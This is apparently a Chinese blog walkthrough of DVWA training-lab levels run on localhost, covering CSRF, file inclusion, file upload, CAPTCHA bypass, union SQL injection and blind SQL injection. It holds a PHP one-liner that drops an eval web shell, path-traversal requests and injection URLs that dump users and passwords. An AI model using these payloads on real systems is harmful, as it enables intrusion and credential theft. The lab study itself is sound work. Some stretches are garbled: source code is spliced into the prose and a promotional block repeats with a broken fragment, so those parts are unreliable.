跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种网络攻击方式,它利用用户已经在某个网站进行过认证的身份,通过伪造请求来执行未经用户授权的操作。攻击者通过欺骗用户,使其在不知情的情况下执行某些敏感操作,例如修改密码、发表言论、转账等。
CSRF攻击的核心在于攻击者能够构造恶意请求,并引导用户在受害者已经登录的情况下访问包含恶意请求的页面。一旦用户点击了这个页面上的触发请求的按钮或链接,浏览器会自动携带受害者的认证信息发送请求,从而实现攻击者预期的操作。为了防范CSRF攻击,开发者可以采取以下措施:
同源策略(Same Origin Policy): 浏览器的同源策略限制了一个页面只能请求同一域下的资源,从而减少了CSRF攻击的可能性。攻击者通常难以伪造出同一域的请求。
Anti-CSRF Token: 在用户登录时生成一个唯一的令牌(CSRF Token),将其嵌入到每个表单或请求中。服务器在接收到请求时验证令牌的有效性,如果令牌不匹配,则拒绝该请求。这样即使攻击者伪造请求,也无法获取有效的CSRF Token。
Cookie设置: 在Cookie中使用SameSite属性,限制第三方站点对Cookie的访问。设置为Strict或Lax可以在一定程度上减弱CSRF攻击。
双重提交Cookie: 将CSRF Token不仅存储在Cookie中,还通过表单的隐藏字段等方式在请求中传递,以增加令牌的安全性。
检查Referer: 服务器可以检查请求的Referer头部,但这并不是绝对可靠的防御手段,因为Referer头部有时会被浏览器省略或伪造。通过综合使用这些防御措施,开发者可以大大提高系统对CSRF攻击的抵抗能力。
poc:
POC是“Proof of Concept”的缩写,指的是概念验证或概念证明。在计算机安全领域,POC通常指的是一个漏洞利用的实际示例,用来证明该漏洞确实存在,并且可以被利用。POC可以是一个简单的代码片段、一个演示页面、一个脚本或者一个程序,其目的是演示特定漏洞的影响或者危害性。
在安全研究中,研究人员通常会编写POC来展示一个新发现的漏洞,以便其他人能够理解漏洞的工作原理,并验证其在真实环境中的有效性。POC也经常用于向厂商报告漏洞,以便他们能够及时修复。
综上所述,POC是漏洞利用的实际示例,用于证明漏洞的存在和危害性。
1.随便输入将更改的密码进行抓包,得到
2.抓包后可以看到能进行构造的poc
3.进行如图所示选项
点击复制,将攻击url复制到一个 新界面中后打开。
点击按钮即可完成攻击
4.直接放包后,用新密码即可完成登录。
第四关:File Inclusion(文件包含漏洞)
File Upload(文件上传漏洞)
我们先查看三个文件都分别是什么
file1:Hello admin
Your IP address is: 127.0.0.1
file2:“I needed a password eight characters long so I picked Snow White and the Seven Dwarves.” ~ Nick Helm
file3:Welcome back admin
Your IP address is: 127.0.0.1
Your user-agent address is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
You came from: http://localhost/DVWA/vulnerabilities/fi/?page=include.php
I’m hosted at: localhost
发现没有什么重要的东西,我们将url中的参数更改一下,比如我们查看一下他的/etc/passwd文件。
文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。输入?page=…/…/phpinfo.php 可以看到php的具体信息。
1.在C盘创建一个txt文件,命名为h.txt;成功输出。
成功输出h.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。
利用漏洞
1.新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>2.上传成功,并复制下路径,复制链接 …/…/hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功。
- 根据路径到dvwa的文件包括目录,发现生成了shell.php文件。
4. 5.打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。
第五关:Insecure CAPTCHA(不安全的验证码)
1.查看源码
当step==2的时候,他才会进行到第二部分,就是更改密码。使用bp抓包,修改step参数为2
成功通过验证。
第六关:SQL Injection(SQL注入)
1.输入User ID显示对应的name,并且输入的ID值在URL栏中
2、猜测 可能通过ID值带入数据库中进行查询,判断是否存在注入
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 and 1=2 &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ – qwe &Submit=Submit#
存在注入点,且单引号闭合
3、判断字段数,order by 5【使用二分法】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 5 – qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 3 – qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1’ order by 2 – qwe &Submit=Submit#
字段数为2
4、联合注入,观测显示位【回显点】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select 1,2 – qwe &Submit=Submit#
5、查看当前数据库的版本号,及当前数据库名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select version(),database() – qwe &Submit=Submit#
6、输出当前数据库下的所有表名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() – qwe &Submit=Submit#
7、查询users表下面的所有字段名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ – qwe &Submit=Submit#
8、查询users 表中的user、password字段数据
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select user,password from users limit 0,1 – qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313’ union select user,password from users limit 3,1 – qwe &Submit=Submit#
第七关: SQL Injection (Blind)
原理:在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,总的来说就是在注入过程中,sql语句拼接执行后,数据不能回显到前端页面,需要一些方法和测试进行判断尝试
<?php if( isset( $_GET[ 'Submit' ] ) ) { $id = $_GET[ 'id' ]; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Get results $num = @mysqli_num_rows( $result ); if( $num > 0 ) { echo '布尔盲注:
–布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
时间盲注:
–界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
User ID exists in the database.'; } else { header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); echo '
User ID is MISSING from the database.'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
源代码讲解
1.用户输入处理: 代码通过
_
G
E
T
[
′
i
d
′
]
获取用户输入的用户
I
D
,并将其存储在变量
\_GET['id']获取用户输入的用户ID,并将其存储在变量
_GET[′id′]获取用户输入的用户ID,并将其存储在变量id中。
2.数据库查询: 代码构建了一个SQL查询语句,使用用户提供的ID从数据库中检索用户信息。查询语句被发送到数据库服务器执行。
3.查询结果处理: 代码通过mysqli_query()函数执行查询,并将结果存储在变量$result中。然后,通过mysqli_num_rows()函数获取结果集中的行数。
4.结果反馈:
如果查询结果中存在行数(即用户ID存在于数据库中),则向用户显示消息"User ID exists in the database.“。
如果查询结果中不存在行数(即用户ID不存在于数据库中),则向用户显示消息"User ID is MISSING from the database.”。并且将HTTP响应状态码设置为404 Not Found,告知客户端页面未找到。
数据库连接关闭: 最后,通过mysqli_close()函数关闭了与数据库的连接。
步骤
1.判断是否存在注入及注入的类型(基于布尔SQL盲注)
输入1asdf,返回User ID exists in the database,无报错证明是字符型的
输入1’,返回User ID is MISSING from the database,证明是单引号闭合
输入 1’ and 1=1 # ,输出 exists
输入 1’ and 1=2 # ,输出 MISSING,证明存在注入
2.猜数据库名
利用length()函数猜出数据库名的长度,1’ and length(database())=4 #,不报错,数据库名的长度为4
然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。
输入1’ and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;
输入1’ and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;
输入1’ and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d
输入1’ and ascii(substr(database(),2,1))>90 # 找第二个字母
重复以上步骤,得到库名为dvwa
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
mg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算